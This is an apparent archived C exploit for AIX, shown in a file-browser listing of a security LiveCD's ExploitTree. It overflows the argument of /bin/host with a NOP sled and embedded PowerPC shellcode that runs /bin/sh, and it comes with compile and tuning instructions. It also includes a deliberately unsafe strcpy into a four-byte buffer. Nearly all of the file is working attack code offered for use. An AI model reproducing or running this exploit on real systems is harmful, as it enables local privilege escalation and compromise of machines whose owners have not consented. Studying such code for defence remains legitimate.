home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / host.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  114 lines

  1. /*
  2. If the program gives you 'Segmentation fault' or 'Illegal instruction',
  3. then try at least the following arguments:(string
  4. length,offset,kludge1,kludge2)
  5. 78 40 1 1
  6. 78 40 1 0
  7. 78 40 0 0
  8. 78 40 0 1
  9.  
  10.        Compile with: cc -g test.c
  11.        try:
  12.        ./a.out 78 40 1 1
  13.        ./a.out 78 40 0 0
  14.        ./a.out 78 40 0 1
  15.        ./a.out 78 40 0 0
  16. */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20.  
  21. void sh2()
  22. {
  23.   int junk[0x100];
  24.   int s[2];
  25.  
  26.   int toc;
  27.   int ctr;
  28.  
  29.   junk[0x100]=0x11;
  30.  
  31.   toc=0xf0192c48;
  32.   ctr=0xd0024c0c;
  33.  
  34.   s[0]=0x2f62696e;
  35.   s[1]=0x2f736800;
  36.   execv(&s,0);
  37. }
  38.  
  39. void buggy(char *s)
  40. {
  41.   char a[4];
  42.   unsigned int junk[150];
  43.   strcpy(a,s);
  44.   puts("Over");
  45.   if(junk[20])
  46.     puts("P");
  47. }
  48.  
  49. main(int argc,char **argv)
  50. {
  51.   unsigned int junk[300];
  52.   unsigned int code[]={
  53.     0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  54.     0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
  55.     0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
  56.     0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
  57.     0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  58.     0x7c0903a6 , 0x4e800420, 0x0
  59.   };
  60.   unsigned int buf[600];
  61.   unsigned int i,nop,mn;
  62.   int max;
  63.  
  64.   unsigned int toc;
  65.   unsigned int eco;
  66.   unsigned int *pt;
  67.   int carry1=1;
  68.   int carry2=1;
  69.  
  70.   pt=(unsigned *) &execv;
  71.   toc=*(pt+1);
  72.   eco=*pt;
  73.   if (argv[3]) carry1=atoi(argv[3]);
  74.   if (argv[4]) carry2=atoi(argv[4]);
  75.   max=atoi(argv[1]);
  76.   if(max==0) max=78;
  77.   mn=40;
  78.   if(argv[2])
  79.     mn=atoi(argv[2]);
  80.   *((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
  81.   *((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
  82.                                0x0000ffff);
  83.   *((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
  84.   *((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
  85.                                 0x0000ffff);
  86.  
  87.   puts("Test AIX!");
  88.   puts("Discovered and coded by G.G.");
  89.   printf("TOC:%0x,CTR:%0x\n",toc,eco);
  90.   junk[50]=1;
  91.   for(nop=0;nop<mn;nop++)
  92.     buf[nop]=0x4ffffb82;/*nop*/
  93.   strcpy((char*)&buf[nop],(char*)&code);
  94.   i=nop+strlen(code)/4-1;
  95.   while(i++<max)
  96.     {
  97.       buf[i]=(unsigned) &buf[nop];
  98.     }
  99.   buf[i]=0;
  100.  
  101.   for(i=0;i<nop;i++)
  102.     buf[i]=(unsigned)&buf[nop];
  103.  
  104.   for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
  105.  
  106.   puts("Start...");/*Here we go*/
  107.   i=execl("/bin/host","host",(char*)&buf,0);
  108.  
  109.   puts((char*)buf);
  110.   printf("%p\n",&buf[nop]);
  111.   if (!junk[50]) puts("s");
  112.   printf("OK\n");
  113. }
  114. /*                    www.hack.co.za              [2000]*/